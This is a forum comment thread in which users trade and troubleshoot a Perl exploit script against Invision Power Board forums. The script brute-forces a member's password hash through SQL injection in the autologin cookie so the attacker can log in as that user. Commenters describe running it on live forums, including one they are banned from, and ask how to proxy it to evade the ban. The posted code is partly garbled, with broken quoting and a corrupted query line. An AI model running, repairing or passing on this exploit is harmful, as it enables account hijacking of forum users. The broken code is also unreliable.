I still not get this to work..
Can anyone please help me, step by step?
Email me: storselger@hotmail.com

Important.
Thank You…

my $current = $charset[$j];
my $sql = ( $iver $cpre . “member_id=31337420; ” . $cpre . “pass_hash=” . $sql);
my $res = $ua->get($path, @cookie);

(((((((with the old code at the top)))))))

my $current = $charset[$j];
my $sql = ( $iver $cpre . “member_id=31337420;

” . $cpre . “pass_hash=” . $sql);
my $res = $ua->get($path, @cookie);

I was able to run the => ipb.pl http://hackingsite.com/forum 2 1 <= command on a few forums and I either got a Hash with all 0's or No Exploit error message

only problem is i am ip banned from the forum i want to try this on.
so it gives me a hash of all 0

how can i run this through a proxy? i think the ip ban is effecting how this works. i would rather not wait to get to a new computer and new ip address before trying this again

that error you guys are getting you need to copy and paste this code. then click save as. save the file as ipb.pl and in the encoding field at the bottom you need to select UTF-8 it is probably being saved as ANSI and thats where you get the error.

here is the proper code. just remember to save it as ipb.pl and make sure it is in UTF-8 encoding.

#!/usr/bin/perl -w

##################################################################
# This one actually works Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by “ReMuSOMeGa & Nova” and http://www.h4cky0u.org
##################################################################

use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua->agent(“Mosiac 1.0″ . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = ”;}
if (!$ARGV[3]) {$ARGV[3] = ”;}

my $path = $ARGV[0] . ‘/index.php?act=Login&CODE=autologin’;
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])
{
print “..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2]. “;
exit;
}

my @charset = (“0″,”1″,”2″,”3″,”4″,”5″,”6″,”7″,”8″,”9″,”a”,”b”,”c”,”d”,”e”,”f”);

my $outputs = ”;

for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver $cpre . “member_id=31337420; ” . $cpre . “pass_hash=” . $sql);
my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = ‘(.*)Log In(.*)’;

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )
{
$outputs .= $current;
print “$current “;
last;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;